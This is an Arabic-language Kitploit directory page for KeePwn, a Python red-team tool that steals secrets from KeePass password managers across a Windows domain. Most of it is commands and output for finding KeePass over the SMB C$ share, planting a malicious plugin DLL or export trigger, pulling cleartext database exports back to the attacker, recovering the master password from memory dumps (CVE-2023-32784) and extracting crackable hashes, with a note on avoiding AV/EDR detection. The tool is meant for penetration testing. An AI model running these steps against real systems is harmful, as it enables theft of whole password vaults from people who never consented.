Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
KeePwn — أداة بايثون لأتمتة اكتشاف KeePass واستخراج الأسرار. | Kitploit
أدوات/GitHubGitHub/orange-cyberdefense/keepwn
كسر كلمات المرورالاستغلالما بعد الاستغلالالفريق الأحمر
GitHuborange-cyberdefense/keepwn

KeePwn

أداة بايثون لأتمتة اكتشاف KeePass واستخراج الأسرار.

عرض المستودع
52754منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

نص برمجي بلغة بايثون لمساعدة فريق الاختراق في اكتشاف مثيلات KeePass واستخراج الأسرار.

الميزات

  • اكتشاف KeePass
    • البحث عن ملفات تثبيت KeePass عبر مشاركة SMB C$.
    • قبول مصادر متعددة للأهداف (IP, CIDR, hostname, file).
    • التحقق من بيانات تعريف KeePass (الإصدار، وقت الوصول الأخير).
    • التحقق من عملية KeePass قيد التشغيل عبر RPC المستند إلى Impacket.
    • تنفيذ متعدد الخيوط لتجنب اختناق المضيفات.
    • تصدير نتائج البحث إلى CSV.
    • العثور على قواعد بيانات KDBX.
  • إساءة استخدام إضافات KeePass
    • إضافة وإزالة إضافات KeePass (انظر KeeFarce Reborn) عبر مشاركة SMB C$.
    • استرداد الصادرات النصية الصريحة على المضيف البعيد.
  • إساءة استخدام محفزات KeePass
    • إضافة وإزالة المحفزات (انظر: KeeThief من ملف تكوين KeePass عبر مشاركة SMB C$.
    • استرداد الصادرات النصية الصريحة على المضيف البعيد.
    • تخصيص المحفزات باستخدام وسائط سطر الأوامر.
  • تحليل تفريغات KeePass
    • تحليل تفريغات الذاكرة للعثور على مرشحات لكلمة المرور الرئيسية (CVE-2023-32784).
    • تحليل تفريغات الذاكرة للعثور على مفتاح التشفير.
  • اختراق قاعدة بيانات KeePass
    • تحويل KDBX إلى تنسيقات متوافقة مع John و Hashcat.
    • إضافة دعم لتنسيق KDBX 4.x.
  • المصادقة
    • دعم مصادقة تجزئة LM/NT.
    • دعم مصادقة Kerberos.
  • متنوع
    • كتابة اختبارات وحدات.
    • جعل المشروع متاحًا على PyPI.

التثبيت

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

أو إذا كنت لا ترغب في التثبيت ولكن فقط تشغيله في بيئة افتراضية:

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

الاستخدام

الاكتشاف

يتم استخدام وحدة search في KeePwn لتحديد المضيفات التي تشغل KeePass في بيئتك المستهدفة:

root@kitploit:~
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

يستخدم هذا الوحدة مشاركة C$ المضمنة في Active Directory للبحث عن ملفات متعلقة بـ KeePass في المواقع الافتراضية، وبالتالي يتطلب صلاحيات مدير على الأهداف.

ستقوم الوحدة أولاً بالبحث عن ملف التكوين KeePass.config.xml في مجلد %APPDATA%\KeePass لكل مستخدم، بالإضافة إلى KeePass.exe في مسار التثبيت الافتراضي (C:\Program Files\KeePass Password Safe 2). إذا تم العثور على ملف تكوين ولكن لم يتم تثبيت KeePass بشكل عام، سيبحث KeePwn عن التثبيتات المحمولة حتى --max-depth من المجلدات الفرعية.

يجب أن تكون تقنية البحث الأساسية هذه كافية لتحديد دقة ما إذا كان KeePass مستخدمًا على محطة العمل أم لا. بالإضافة إلى ذلك، سيستخدم خيار --get-process تنفيذ RPC الخاص بـ Impacket لتحديد ما إذا كان KeePass قيد التشغيل حاليًا على الهدف.

كما تتضمن العديد من خيارات سهولة الاستخدام للسماح لك بتصدير نتائج البحث إلى ملف CSV، وعرض الأهداف التي تم العثور فيها على KeePass فقط، وضبط عدد الخيوط المتوازية:

root@kitploit:~
إساءة استخدام الإضافات

يحتوي KeePass على إطار عمل للإضافات يمكن استغلاله لتحميل DLLs ضارة في عملية KeePass، مما يسمح للمهاجمين بصلاحيات مدير بتصدير قاعدة البيانات بسهولة (انظر: KeeFarceRebornPlugin).

تتيح وحدة plugin في KeePwn ما يلي:

  • سرد الإضافات المثبتة حاليًا وتعداد ذاكرة التخزين المؤقت للإضافات

    root@kitploit:~
    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] No path specified, searching in default locations..
    [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • إضافة وإزالة الإضافات الضارة الخاصة بك

    root@kitploit:~
    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] No path specified, searching in default locations..
    [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
    > y
    [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
    
  • استقصاء %APPDATA% للصادرات ونقلها تلقائيًا من المضيف البعيد إلى نظام الملفات المحلي

    root@kitploit:~
    $ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    
إساءة استخدام المحفزات

كما هو موضح في منشور مدونة @harmj0y (ولاحقًا CVE-2023-24055)، يمكن إساءة استخدام نظام المحفزات في KeePass لتصدير قاعدة البيانات كنص صريح.

تتيح وحدة trigger في KeePwn ما يلي:

  • التحقق مما إذا كان محفز ضار باسم "export" مكتوب حاليًا في تكوين KeePass

    root@kitploit:~
    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] No trigger found in KeePass configuration
    

    لاحظ أن KeePwn سيمنعك من إساءة استخدام الإضافات إذا كان إصدار KeePass المكتشف لا يتأثر بهذه التقنية.

  • إضافة وإزالة محفز ضار باسم "export" يقوم بتصدير قاعدة البيانات كنص صريح في %APPDATA% عند تشغيل KeePass التالي

    root@kitploit:~
    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
    
تحليل تفريغات الذاكرة

كما هو موضح من قبل @vdohney، من الممكن استرداد كلمة المرور الرئيسية لقاعدة البيانات في الذاكرة (CVE-2023-32784، التي تؤثر على الإصدارات قبل KeePass 2.54).

ستقوم وحدة parse_dump في KeePwn بالبحث عن مرشحات محتملة لكلمة المرور الرئيسية في التفريغات. نظرًا لأن السلاسل الناتجة ستكون (حسب التصميم) غير مكتملة، يمكن استخدام الوحدة أيضًا لاختبار القوة الغاشمة للحرف الأول المفقود مقابل ملف KDBX محدد.

root@kitploit:~
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     _@$$w0rd!!
     _Ï$$w0rd!!
     _§$$w0rd!!
     _ñ$$w0rd!!
     _D$$w0rd!!
     _$$w0rd!!
     _\$$w0rd!!
     _#$$w0rd!!
     _y$$w0rd!!
     _k$$w0rd!!
     _9$$w0rd!!
     _;$$w0rd!!
     _H$$w0rd!!
     _>$$w0rd!!
     _a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

يستخدم تحليل تفريغ الذاكرة PoC الخاص بـ CMEPW بلغة بايثون. شكرًا للسماح لي بإعادة استخدام الكود :)

اختراق قواعد بيانات KDBX

تم نقل script keepass2john.py الخاص بـ @harmjoy إلى KeePwn بمساعدة @0xSp3ctra.

ستقوم وحدة convert في KeePwn باستخراج تجزئة قابلة للاختراق (تنسيق john أو hashcat) من قاعدة بيانات KeePass.

root@kitploit:~
KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

يمكن استخدامه مع وسائط إضافية لتحديد نوع التجزئة المتوقع بالإضافة إلى مسار ملف الإخراج:

root@kitploit:~
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x غير مدعومة بعد، يمكنك استخدام https://github.com/r3nt0n/keepass4brute. إذا كنت في مزاج لعمل PR، فإن https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format سيكون قراءة جيدة :)

المساهمة

مرحب بالطلبات المقدمة (انظر: الميزات غير المحددة + بعض TODO في الكود).

لا تتردد في فتح issue أو مراسلتي على Twitter لاقتراح تحسين.

تنزيل الأداة
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv [*] Starting remote KeePass search with 4 threads [PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago) [PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml' [PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820) [+] Search results logged to keepwn_out.csv

تتم هذه الإجراءات من خلال الوصول إلى مشاركة SMB C$، مما يحد من كشف AV/EDR حيث لا يتم تنفيذ أي أمر.

  • استقصاء %APPDATA% للصادرات ونقلها تلقائيًا من المضيف البعيد إلى نظام الملفات المحلي

    root@kitploit:~
    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    
  • إذا لم يكن مسار ملف التكوين هو الموقع الافتراضي، يمكنك تحديد واحد باستخدام وسيطة --config-path.